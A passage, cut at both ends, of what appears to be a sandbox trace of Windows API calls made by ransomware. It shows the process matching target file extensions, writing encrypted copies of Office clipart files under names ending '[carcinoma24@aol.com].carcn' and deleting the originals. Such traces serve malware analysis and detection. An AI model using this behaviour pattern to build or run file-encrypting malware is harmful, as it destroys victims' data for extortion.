Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.134] lstrlenW (lpString=".doc") returned 4 [0300.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString=".docx") returned 5 [0300.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.134] lstrlenW (lpString=".pdf") returned 4 [0300.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString=".xls") returned 4 [0300.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.134] lstrlenW (lpString=".xlsx") returned 5 [0300.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.134] lstrlenW (lpString=".ppt") returned 4 [0300.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.134] lstrlenW (lpString=".zip") returned 4 [0300.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.134] lstrlenW (lpString=".rar") returned 4 [0300.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString=".bz2") returned 4 [0300.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString=".7z") returned 3 [0300.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.134] lstrlenW (lpString=".dbf") returned 4 [0300.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.134] lstrlenW (lpString=".1cd") returned 4 [0300.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.134] lstrlenW (lpString=".jpg") returned 4 [0300.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.135] lstrlenW (lpString=".doc") returned 4 [0300.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString=".docx") returned 5 [0300.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.135] lstrlenW (lpString=".pdf") returned 4 [0300.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString=".xls") returned 4 [0300.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.135] lstrlenW (lpString=".xlsx") returned 5 [0300.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.135] lstrlenW (lpString=".ppt") returned 4 [0300.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.135] lstrlenW (lpString=".zip") returned 4 [0300.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.135] lstrlenW (lpString=".rar") returned 4 [0300.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString=".bz2") returned 4 [0300.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString=".7z") returned 3 [0300.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.135] lstrlenW (lpString=".dbf") returned 4 [0300.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.135] lstrlenW (lpString=".1cd") returned 4 [0300.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.136] lstrlenW (lpString=".jpg") returned 4 [0300.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.136] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.136] lstrlenW (lpString="DD00687_.WMF") returned 12 [0300.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.136] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=20784) returned 1 [0300.136] CloseHandle (hObject=0x368) returned 1 [0300.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0300.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.137] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.137] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0300.138] GetLastError () returned 0x0 [0300.138] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x5130, lpOverlapped=0x0) returned 1 [0300.140] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5140, lpOverlapped=0x0) returned 1 [0300.141] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.141] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.141] SetEndOfFile (hFile=0x380) returned 1 [0300.141] CloseHandle (hObject=0x380) returned 1 [0300.142] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.142] SetEndOfFile (hFile=0x368) returned 1 [0300.143] CloseHandle (hObject=0x368) returned 1 [0300.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0300.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.145] lstrlenW (lpString=".doc") returned 4 [0300.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.145] lstrlenW (lpString=".docx") returned 5 [0300.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.145] lstrlenW (lpString=".pdf") returned 4 [0300.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.145] lstrlenW (lpString=".xls") returned 4 [0300.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.145] lstrlenW (lpString=".xlsx") returned 5 [0300.145] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.145] lstrlenW (lpString=".ppt") returned 4 [0300.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.145] lstrlenW (lpString=".zip") returned 4 [0300.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.145] lstrlenW (lpString=".rar") returned 4 [0300.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.145] lstrlenW (lpString=".bz2") returned 4 [0300.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.145] lstrlenW (lpString=".7z") returned 3 [0300.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.145] lstrlenW (lpString=".dbf") returned 4 [0300.145] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.145] lstrlenW (lpString=".1cd") returned 4 [0300.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.146] lstrlenW (lpString=".jpg") returned 4 [0300.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.146] lstrlenW (lpString=".doc") returned 4 [0300.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString=".docx") returned 5 [0300.146] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.146] lstrlenW (lpString=".pdf") returned 4 [0300.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString=".xls") returned 4 [0300.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.146] lstrlenW (lpString=".xlsx") returned 5 [0300.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.146] lstrlenW (lpString=".ppt") returned 4 [0300.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.146] lstrlenW (lpString=".zip") returned 4 [0300.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.146] lstrlenW (lpString=".rar") returned 4 [0300.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString=".bz2") returned 4 [0300.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.146] lstrlenW (lpString=".7z") returned 3 [0300.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.147] lstrlenW (lpString=".dbf") returned 4 [0300.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.147] lstrlenW (lpString=".1cd") returned 4 [0300.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0300.147] lstrlenW (lpString=".jpg") returned 4 [0300.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.147] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.147] lstrlenW (lpString="DD00705_.WMF") returned 12 [0300.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.147] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=24588) returned 1 [0300.148] CloseHandle (hObject=0x368) returned 1 [0300.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0300.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0300.152] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.152] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0300.156] GetLastError () returned 0x0 [0300.156] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x600c, lpOverlapped=0x0) returned 1 [0300.157] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x6010, lpOverlapped=0x0) returned 1 [0300.159] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.159] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.159] SetEndOfFile (hFile=0x36c) returned 1 [0300.159] CloseHandle (hObject=0x36c) returned 1 [0300.159] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.159] SetEndOfFile (hFile=0x380) returned 1 [0300.160] CloseHandle (hObject=0x380) returned 1 [0300.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0300.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.773] lstrlenW (lpString=".doc") returned 4 [0300.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.773] lstrlenW (lpString=".docx") returned 5 [0300.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.773] lstrlenW (lpString=".pdf") returned 4 [0300.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.773] lstrlenW (lpString=".xls") returned 4 [0300.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.773] lstrlenW (lpString=".xlsx") returned 5 [0300.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.773] lstrlenW (lpString=".ppt") returned 4 [0300.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.774] lstrlenW (lpString=".zip") returned 4 [0300.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.774] lstrlenW (lpString=".rar") returned 4 [0300.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString=".bz2") returned 4 [0300.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString=".7z") returned 3 [0300.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.774] lstrlenW (lpString=".dbf") returned 4 [0300.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.774] lstrlenW (lpString=".1cd") returned 4 [0300.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.774] lstrlenW (lpString=".jpg") returned 4 [0300.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.774] lstrlenW (lpString=".doc") returned 4 [0300.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString=".docx") returned 5 [0300.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.774] lstrlenW (lpString=".pdf") returned 4 [0300.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.774] lstrlenW (lpString=".xls") returned 4 [0300.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.774] lstrlenW (lpString=".xlsx") returned 5 [0300.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.774] lstrlenW (lpString=".ppt") returned 4 [0300.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.775] lstrlenW (lpString=".zip") returned 4 [0300.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.775] lstrlenW (lpString=".rar") returned 4 [0300.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.775] lstrlenW (lpString=".bz2") returned 4 [0300.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.775] lstrlenW (lpString=".7z") returned 3 [0300.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.775] lstrlenW (lpString=".dbf") returned 4 [0300.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.775] lstrlenW (lpString=".1cd") returned 4 [0300.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0300.775] lstrlenW (lpString=".jpg") returned 4 [0300.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.775] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.775] lstrlenW (lpString="DD01168_.WMF") returned 12 [0300.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.776] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=2004) returned 1 [0300.776] CloseHandle (hObject=0x358) returned 1 [0300.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0300.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.776] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.776] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.777] GetLastError () returned 0x0 [0300.777] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x7d4, lpOverlapped=0x0) returned 1 [0300.778] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x7e0, lpOverlapped=0x0) returned 1 [0300.778] ReadFile (in: hFile=0x358, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.778] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.778] SetEndOfFile (hFile=0x370) returned 1 [0300.779] CloseHandle (hObject=0x370) returned 1 [0300.779] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.779] SetEndOfFile (hFile=0x358) returned 1 [0300.780] CloseHandle (hObject=0x358) returned 1 [0300.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0300.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0300.780] lstrlenW (lpString=".doc") returned 4 [0300.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.780] lstrlenW (lpString=".docx") returned 5 [0300.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.781] lstrlenW (lpString=".pdf") returned 